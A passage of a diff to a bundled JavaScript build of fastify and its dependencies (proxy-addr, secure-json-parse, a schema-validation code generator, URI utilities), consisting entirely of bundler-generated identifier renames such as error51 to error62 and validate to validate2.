{ skipParams: true }); }); } function validateAsyncBody(validatePromise, context2, request) { @@ -19729,7 +19729,7 @@ var require_validation = __commonJS({ if (bodyResult) { return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true }); + return validate2(context2, request, { skipParams: true, skipBody: true }); }); } function validateAsyncQuery(validatePromise, context2, request) { @@ -19737,7 +19737,7 @@ var require_validation = __commonJS({ if (queryResult) { return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + return validate2(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); }); } function validateAsyncHeaders(validatePromise, context2, request) { @@ -19755,18 +19755,18 @@ var require_validation = __commonJS({ result.validationContext = result.validationContext || dataVar; return result; } - const error51 = schemaErrorFormatter(result, dataVar); - error51.statusCode = error51.statusCode || 400; - error51.code = error51.code || "FST_ERR_VALIDATION"; - error51.validation = result; - error51.validationContext = dataVar; - return error51; + const error62 = schemaErrorFormatter(result, dataVar); + error62.statusCode = error62.statusCode || 400; + error62.code = error62.code || "FST_ERR_VALIDATION"; + error62.validation = result; + error62.validationContext = dataVar; + return error62; } module.exports = { symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema: paramsSchema4, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, - validate + validate: validate2 }; } }); @@ -21444,15 +21444,15 @@ var require_rfdc = __commonJS({ var require_initial_config_validation = __commonJS({ "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports, module) { "use strict"; - var validate = require_config_validator(); + var validate2 = require_config_validator(); var deepClone = require_rfdc()({ circles: true, proto: false }); var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); function validateInitialConfig(options) { const opts = deepClone(options); - if (!validate(opts)) { - const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); - error51.errors = validate.errors; - throw error51; + if (!validate2(opts)) { + const error62 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate2.errors.map((e) => e.message))); + error62.errors = validate2.errors; + throw error62; } return deepFreezeObject(opts); } @@ -21468,7 +21468,7 @@ var require_initial_config_validation = __commonJS({ return Object.freeze(object2); } module.exports = validateInitialConfig; - module.exports.defaultInitOptions = validate.defaultInitOptions; + module.exports.defaultInitOptions = validate2.defaultInitOptions; module.exports.utils = { deepFreezeObject }; } }); @@ -21524,12 +21524,12 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - requestCompleted(error51, request, reply, metadata) { + requestCompleted(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51) { - reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + if (error62) { + reply.log.error({ res: reply, err: error62, responseTime: reply.elapsedTime }, "request errored"); } else { reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); } @@ -21543,14 +21543,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object (must have `statusCode`). * @param {object} [metadata] Extra contextual data (unused). */ - defaultErrorLog(error51, request, reply, metadata) { + defaultErrorLog(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } if (reply.statusCode >= 500) { - reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + reply.log.error({ req: request, res: reply, err: error62 }, error62?.message); } else { - reply.log.info({ res: reply, err: error51 }, error51?.message); + reply.log.info({ res: reply, err: error62 }, error62?.message); } } /** @@ -21562,14 +21562,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - streamError(error51, request, reply, metadata) { + streamError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + if (error62.code === "ERR_STREAM_PREMATURE_CLOSE") { reply.log.info({ res: reply }, "stream closed prematurely"); } else { - reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + reply.log.warn({ err: error62 }, "response terminated with an error with headers already sent"); } } /** @@ -21595,13 +21595,13 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - writeHeadError(error51, request, reply, metadata) { + writeHeadError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } reply.log.warn( - { req: request, res: reply, err: error51 }, - error51?.message + { req: request, res: reply, err: error62 }, + error62?.message ); } /** @@ -21613,11 +21613,11 @@ var require_log_controller = __commonJS({ * @param {object} metadata Extra contextual data. * @param {number} metadata.statusCode The status code that triggered the serializer. */ - serializerError(error51, request, reply, metadata) { + serializerError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + reply.log.error({ err: error62, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); } /** * Logs a 503 Service Unavailable when the server is closing. @@ -22135,8 +22135,8 @@ var require_error_serializer = __commonJS({ const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; const JSON_STR_NULL = "null"; - function anonymous0(input) { - const obj = input && typeof input.toJSON === "function" ? input.toJSON() : input; + function anonymous0(input2) { + const obj = input2 && typeof input2.toJSON === "function" ? input2.toJSON() : input2; if (obj === null) return JSON_STR_EMPTY_OBJECT; let json3 = ""; json3 += JSON_STR_BEGIN_OBJECT; @@ -22237,15 +22237,15 @@ var require_error_handler = __commonJS({ return this.func.name.toString() + "()"; } }; - function handleError(reply, error51, cb) { + function handleError(reply, error62, cb) { reply[kReplyIsRunningOnErrorHook] = false; const context2 = reply[kRouteContext]; if (reply[kReplyNextErrorHandler] === false) { - fallbackErrorHandler(error51, reply, function(reply2, payload) { + fallbackErrorHandler(error62, reply, function(reply2, payload) { try { reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); - } catch (error52) { - reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + } catch (error63) { + reply2.server[kLogController].writeHeadError(error63, reply2.request, reply2); reply2.raw.writeHead(reply2.raw.statusCode); } reply2.raw.end(payload); @@ -22259,11 +22259,11 @@ var require_error_handler = __commonJS({ const func = errorHandler.func; if (!func) { reply[kReplyNextErrorHandler] = false; - fallbackErrorHandler(error51, reply, cb); + fallbackErrorHandler(error62, reply, cb); return; } try { - const result = func(error51, reply.request, reply); + const result = func(error62, reply.request, reply); if (result !== void 0) { if (result !== null && typeof result.then === "function") { const store = reply[kDiagnosticsStore] || null; @@ -22276,13 +22276,13 @@ var require_error_handler = __commonJS({ reply.send(err); } } - function defaultErrorHandler(error51, request, reply) { - setErrorHeaders(error51, reply); - setErrorStatusCode(reply, error51); - request.server[kLogController].defaultErrorLog(error51, request, reply); - reply.send(error51); + function defaultErrorHandler(error62, request, reply) { + setErrorHeaders(error62, reply); + setErrorStatusCode(reply, error62); + request.server[kLogController].defaultErrorLog(error62, request, reply); + reply.send(error62); } - function fallbackErrorHandler(error51, reply, cb) { + function fallbackErrorHandler(error62, reply, cb) { const res = reply.raw; const statusCode = reply.statusCode; reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; @@ -22292,21 +22292,21 @@ var require_error_handler = __commonJS({ if (serializerFn === false) { payload = serializeError({ error: statusCodes[statusCode + ""], - code: error51.code, - message: error51.message, + code: error62.code, + message: error62.message, statusCode }); } else { - payload = serializerFn(Object.create(error51, { + payload = serializerFn(Object.create(error62, { error: { value: statusCodes[statusCode + ""] }, - message: { value: error51.message }, + message: { value: error62.message }, statusCode: { value: statusCode } })); } } catch (err) { reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); reply.code(500); - payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error62.message)); } if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); @@ -22322,18 +22322,18 @@ var require_error_handler = __commonJS({ errorHandler.func = func; return errorHandler; } - function setErrorHeaders(error51, reply) { + function setErrorHeaders(error62, reply) { const res = reply.raw; let statusCode = res.statusCode; statusCode = statusCode >= 400 ? statusCode : 500; - if (error51 != null) { - if (error51.headers !== void 0) { - reply.headers(error51.headers); + if (error62 != null) { + if (error62.headers !== void 0) { + reply.headers(error62.headers); } - if (error51.status >= 400) { - statusCode = error51.status; - } else if (error51.statusCode >= 400) { - statusCode = error51.statusCode; + if (error62.status >= 400) { + statusCode = error62.status; + } else if (error62.statusCode >= 400) { + statusCode = error62.statusCode; } } res.statusCode = statusCode; @@ -22818,7 +22818,7 @@ var require_reply = __commonJS({ this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); return serializeFn; }; - Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + Reply.prototype.serializeInput = function(input2, schema, httpStatus, contentType) { const possibleContentType = httpStatus; let serialize2; httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; @@ -22840,7 +22840,7 @@ var require_reply = __commonJS({ serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); } } - return serialize2(input); + return serialize2(input2); }; Reply.prototype.serialize = function(payload) { if (this[kReplySerializer] !== null) { @@ -22931,8 +22931,8 @@ var require_reply = __commonJS({ } onSendHook(reply, payload); } - function wrapSerializationError(error51, reply) { - error51.serialization = reply[kRouteContext].config; + function wrapSerializationError(error62, reply) { + error62.serialization = reply[kRouteContext].config; } function onSendHook(reply, payload) { if (reply[kRouteContext].onSend !== null) { @@ -23230,18 +23230,18 @@ var require_reply = __commonJS({ if (reply[kReplyTrailers] === null) return; payload.on("end", () => sendTrailer(null, res, reply)); } - function onErrorHook(reply, error51, cb) { + function onErrorHook(reply, error62, cb) { if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { reply[kReplyIsRunningOnErrorHook] = true; onSendHookRunner( reply[kRouteContext].onError, reply.request, reply, - error51, - () => handleError(reply, error51, cb) + error62, + () => handleError(reply, error62, cb) ); } else { - handleError(reply, error51, cb); + handleError(reply, error62, cb); } } function setupResponseListeners(reply) { @@ -24204,7 +24204,7 @@ var require_proxy_addr = __commonJS({ module.exports.default = proxyaddr; module.exports.proxyaddr = proxyaddr; module.exports.all = alladdrs; - module.exports.compile = compile; + module.exports.compile = compile2; var forwarded = require_forwarded(); var ipaddr = require_ipaddr(); var DIGIT_REGEXP = /^\d+$/u; @@ -24221,7 +24221,7 @@ var require_proxy_addr = __commonJS({ return addrs; } if (typeof trust !== "function") { - trust = compile(trust); + trust = compile2(trust); } for (let i = 0; i < addrs.length - 1; i++) { if (trust(addrs[i], i)) continue; @@ -24229,7 +24229,7 @@ var require_proxy_addr = __commonJS({ } return addrs; } - function compile(val) { + function compile2(val) { if (!val) { throw new TypeError("argument is required"); } @@ -24670,24 +24670,24 @@ var require_request = __commonJS({ } }, validateInput: { - value: function(input, schema, httpPart) { + value: function(input2, schema, httpPart) { httpPart = typeof schema === "string" ? schema : httpPart; const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; - let validate; + let validate2; if (symbol2) { - validate = this[kRouteContext][symbol2]; + validate2 = this[kRouteContext][symbol2]; } - if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + if (validate2 == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); } - if (validate == null) { + if (validate2 == null) { if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { - validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + validate2 = this[kRouteContext][kRequestCacheValidateFns].get(schema); } else { - validate = this.compileValidationSchema(schema, httpPart); + validate2 = this.compileValidationSchema(schema, httpPart); } } - return validate(input); + return validate2(input2); } }, getDecorator: { @@ -24808,7 +24808,7 @@ var require_secure_json_parse = __commonJS({ var hasBuffer = typeof Buffer !== "undefined"; var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; - function _parse2(text2, reviver, options) { + function _parse3(text2, reviver, options) { if (options == null) { if (reviver !== null && typeof reviver === "object") { options = reviver; @@ -24850,25 +24850,25 @@ var require_secure_json_parse = __commonJS({ while (next.length) { const nodes = next; next = []; - for (const node of nodes) { - if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + for (const node2 of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "__proto__")) { if (safe === true) { return null; } else if (protoAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.__proto__; + delete node2.__proto__; } - if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "constructor") && node2.constructor !== null && typeof node2.constructor === "object" && Object.prototype.hasOwnProperty.call(node2.constructor, "prototype")) { if (safe === true) { return null; } else if (constructorAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.constructor; + delete node2.constructor; } - for (const key in node) { - const value = node[key]; + for (const key in node2) { + const value = node2[key]; if (value && typeof value === "object") { next.push(value); } @@ -24881,7 +24881,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, options); + return _parse3(text2, reviver, options); } finally { Error.stackTraceLimit = stackTraceLimit; } @@ -24890,7 +24890,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, { safe: true }); + return _parse3(text2, reviver, { safe: true }); } catch { return void 0; } finally { @@ -25075,8 +25075,8 @@ var require_content_type_parser = __commonJS({ return; } const resource = new AsyncResource("content-type-parser:run", request); - function done(error51, body) { - resource.runInAsyncScope(onDone, void 0, error51, body); + function done(error62, body) { + resource.runInAsyncScope(onDone, void 0, error62, body); } if (parser.asString === true || parser.asBuffer === true) { rawBody( @@ -25094,12 +25094,12 @@ var require_content_type_parser = __commonJS({ done(null, body); }, done); } - function onDone(error51, body) { + function onDone(error62, body) { resource.emitDestroy(); - if (error51 != null) { + if (error62 != null) { reply.header("connection", "close"); reply[kReplyIsError] = true; - reply.send(error51); + reply.send(error62); return; } request.body = body; @@ -25697,9 +25697,9 @@ var require_codegen = __commonJS({ } }; var Throw = class extends Node { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render({ _n }) { return `throw ${this.error};` + _n; @@ -25936,9 +25936,9 @@ var require_codegen = __commonJS({ } }; var Catch = class extends BlockNode { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render(opts) { return `catch(${this.error})` + super.render(opts); @@ -26064,8 +26064,8 @@ var require_codegen = __commonJS({ endIf() { return this._endBlockNode(If, Else); } - _for(node, forBody) { - this._blockNode(node); + _for(node2, forBody) { + this._blockNode(node2); if (forBody) this.code(forBody).endFor(); return this; @@ -26114,10 +26114,10 @@ var require_codegen = __commonJS({ } // `return` statement return(value) { - const node = new Return(); - this._blockNode(node); + const node2 = new Return(); + this._blockNode(node2); this.code(value); - if (node.nodes.length !== 1) + if (node2.nodes.length !== 1) throw new Error('CodeGen: "return" should have one node'); return this._endBlockNode(Return); } @@ -26125,23 +26125,23 @@ var require_codegen = __commonJS({ try(tryBody, catchCode, finallyCode) { if (!catchCode && !finallyCode) throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); + const node2 = new Try(); + this._blockNode(node2); this.code(tryBody); if (catchCode) { - const error51 = this.name("e"); - this._currNode = node.catch = new Catch(error51); - catchCode(error51); + const error62 = this.name("e"); + this._currNode = node2.catch = new Catch(error62); + catchCode(error62); } if (finallyCode) { - this._currNode = node.finally = new Finally(); + this._currNode = node2.finally = new Finally(); this.code(finallyCode); } return this._endBlockNode(Catch, Finally); } // `throw` statement - throw(error51) { - return this._leafNode(new Throw(error51)); + throw(error62) { + return this._leafNode(new Throw(error62)); } // start self-balancing block block(body, nodeCount) { @@ -26179,13 +26179,13 @@ var require_codegen = __commonJS({ this._root.optimizeNames(this._root.names, this._constants); } } - _leafNode(node) { - this._currNode.nodes.push(node); + _leafNode(node2) { + this._currNode.nodes.push(node2); return this; } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); + _blockNode(node2) { + this._currNode.nodes.push(node2); + this._nodes.push(node2); } _endBlockNode(N1, N2) { const n = this._currNode; @@ -26195,12 +26195,12 @@ var require_codegen = __commonJS({ } throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); } - _elseNode(node) { + _elseNode(node2) { const n = this._currNode; if (!(n instanceof If)) { throw new Error('CodeGen: "else" without "if"'); } - this._currNode = n.else = node; + this._currNode = n.else = node2; return this; } get _root() { @@ -26210,9 +26210,9 @@ var require_codegen = __commonJS({ const ns = this._nodes; return ns[ns.length - 1]; } - set _currNode(node) { + set _currNode(node2) { const ns = this._nodes; - ns[ns.length - 1] = node; + ns[ns.length - 1] = node2; } }; exports.CodeGen = CodeGen; @@ -26497,10 +26497,10 @@ var require_errors3 = __commonJS({ exports.keyword$DataError = { message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` }; - function reportError(cxt, error51 = exports.keywordError, errorPaths, overrideAllErrors) { + function reportError(cxt, error62 = exports.keywordError, errorPaths, overrideAllErrors) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { addError(gen, errObj); } else { @@ -26508,10 +26508,10 @@ var require_errors3 = __commonJS({ } } exports.reportError = reportError; - function reportExtraError(cxt, error51 = exports.keywordError, errorPaths) { + function reportExtraError(cxt, error62 = exports.keywordError, errorPaths) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); addError(gen, errObj); if (!(compositeRule || allErrors)) { returnErrors(it, names_1.default.vErrors); @@ -26562,19 +26562,19 @@ var require_errors3 = __commonJS({ schema: new codegen_1.Name("schema"), parentSchema: new codegen_1.Name("parentSchema") }; - function errorObjectCode(cxt, error51, errorPaths) { + function errorObjectCode(cxt, error62, errorPaths) { const { createErrors } = cxt.it; if (createErrors === false) return (0, codegen_1._)`{}`; - return errorObject(cxt, error51, errorPaths); + return errorObject(cxt, error62, errorPaths); } - function errorObject(cxt, error51, errorPaths = {}) { + function errorObject(cxt, error62, errorPaths = {}) { const { gen, it } = cxt; const keyValues = [ errorInstancePath(it, errorPaths), errorSchemaPath(cxt, errorPaths) ]; - extraErrorProps(cxt, error51, keyValues); + extraErrorProps(cxt, error62, keyValues); return gen.object(...keyValues); } function errorInstancePath({ errorPath }, { instancePath }) { @@ -27094,8 +27094,8 @@ var require_keyword = __commonJS({ var _a3; const { gen, keyword, schema, parentSchema, $data, it } = cxt; checkAsyncKeyword(it, def); - const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; - const validateRef = useKeyword(gen, keyword, validate); + const validate2 = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate2); const valid = gen.let("valid"); cxt.block$data(valid, validateKeyword); cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); @@ -27106,13 +27106,13 @@ var require_keyword = __commonJS({ modifyData(cxt); reportErrs(() => cxt.error()); } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); + const ruleErrs = def.async ? validateAsync3() : validateSync(); if (def.modifying) modifyData(cxt); reportErrs(() => addErrs(cxt, ruleErrs)); } } - function validateAsync() { + function validateAsync3() { const ruleErrs = gen.let("ruleErrs", null); gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); return ruleErrs; @@ -27522,11 +27522,11 @@ var require_resolve = __commonJS({ } return ref; } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + function addAnchor(anchor2) { + if (typeof anchor2 == "string") { + if (!ANCHOR.test(anchor2)) + throw new Error(`invalid anchor "${anchor2}"`); + addRef.call(this, `#${anchor2}`); } } }); @@ -28168,28 +28168,28 @@ var require_compile = __commonJS({ if (this.opts.code.process) sourceCode = this.opts.code.process(sourceCode, sch); const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate }); - validate.errors = null; - validate.schema = sch.schema; - validate.schemaEnv = sch; + const validate2 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate2 }); + validate2.errors = null; + validate2.schema = sch.schema; + validate2.schemaEnv = sch; if (sch.$async) - validate.$async = true; + validate2.$async = true; if (this.opts.code.source === true) { - validate.source = { validateName, validateCode, scopeValues: gen._values }; + validate2.source = { validateName, validateCode, scopeValues: gen._values }; } if (this.opts.unevaluated) { const { props, items } = schemaCxt; - validate.evaluated = { + validate2.evaluated = { props: props instanceof codegen_1.Name ? void 0 : props, items: items instanceof codegen_1.Name ? void 0 : items, dynamicProps: props instanceof codegen_1.Name, dynamicItems: items instanceof codegen_1.Name }; - if (validate.source) - validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + if (validate2.source) + validate2.source.evaluated = (0, codegen_1.stringify)(validate2.evaluated); } - sch.validate = validate; + sch.validate = validate2; return sch; } catch (e) { delete sch.validate; @@ -28355,27 +28355,27 @@ var require_utils = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -28418,11 +28418,11 @@ var require_utils = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -28455,23 +28455,23 @@ var require_utils = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -28487,79 +28487,79 @@ var require_utils = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === "." || input[1] === "/") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === "." || input2[1] === "/") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -28569,80 +28569,80 @@ var require_utils = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < 